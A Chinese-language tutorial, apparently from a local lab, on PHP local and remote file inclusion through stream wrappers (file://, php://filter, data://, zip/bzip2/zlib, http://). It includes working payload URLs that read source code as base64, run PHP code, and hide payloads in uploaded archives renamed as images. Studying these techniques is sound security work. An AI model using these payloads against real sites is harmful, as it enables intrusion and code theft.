测试代码如下
file://
协议
-
条件:
-
allow_url_fopen
:off/on -
allow_url_include
:off/on
-
-
示例:
-
file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?shell=file://D:\phpstudy_pro\www\test.txt
-
[文件的相对路径和文件名]
http://127.0.0.1/include.php?shell=./test.txt
-
[http://网络路径和文件名]
http://127.0.0.1/include.php?shell=http://127.0.0.1/test.txt
-
利用file://协议读取test.txt
读取成功
php://filter
-
条件:
-
allow_url_fopen
:off/on -
allow_url_include
:仅php://input php://stdin php://memory php://temp
需要on
-
php://filter/read=convert.base64-encode/resource=[文件名]
读取文件源码(针对php文件需要base64编码)
读取本地文件并以base64格式输出
再解密
利用成功
在1.txt文件中内容如下
data://
协议
-
条件:
-
allow_url_fopen
:on -
allow_url_include
:on
-
-
作用:自
PHP>=5.2.0
起,可以使用data://
数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。 -
用法:
data://text/plain, data://text/plain;base64,
-
示例:
-
data://text/plain,
http://127.0.0.1/include.php?shell=data://text/plain,%20phpinfo();
-
data://text/plain;base64,
http://127.0.0.1/include.php?shell=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
-
zip:// & bzip2:// & zlib://
协议
-
条件:
-
allow_url_fopen
:off/on -
allow_url_include
:off/on
-
-
作用:
zip:// & bzip2:// & zlib://
均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx
等等。 -
示例:
-
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
(#编码为%23)压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
http://127.0.0.1/include.php?shell=zip://D:\phpstudy_pro\1.jpg%231.txt
-
compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?shell=compress.bzip2://D:\phpStudy_pro\WWW\1.bz2
-
compress.zlib://file.gz
压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?shell=compress.zlib://D:\phpStudy_pro\WWW\1.gz
-
将1.txt文件压缩为1.zip,如果不支持此文件,可以将后缀改为jpg png gif xxx
等格式
http:// & https://
协议
-
条件:
-
allow_url_fopen
:on -
allow_url_include
:on
-
-
作用:常规 URL 形式,允许通过
HTTP 1.0
的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。 -
用法:
http://example.com http://example.com/file.php?var1=val1&var2=val2 http://user:password@example.com https://example.com https://example.com/file.php?var1=val1&var2=val2 https://user:password@example.com
-
示例:
http://127.0.0.1/include.php?http=http://127.0.0.1/1.txt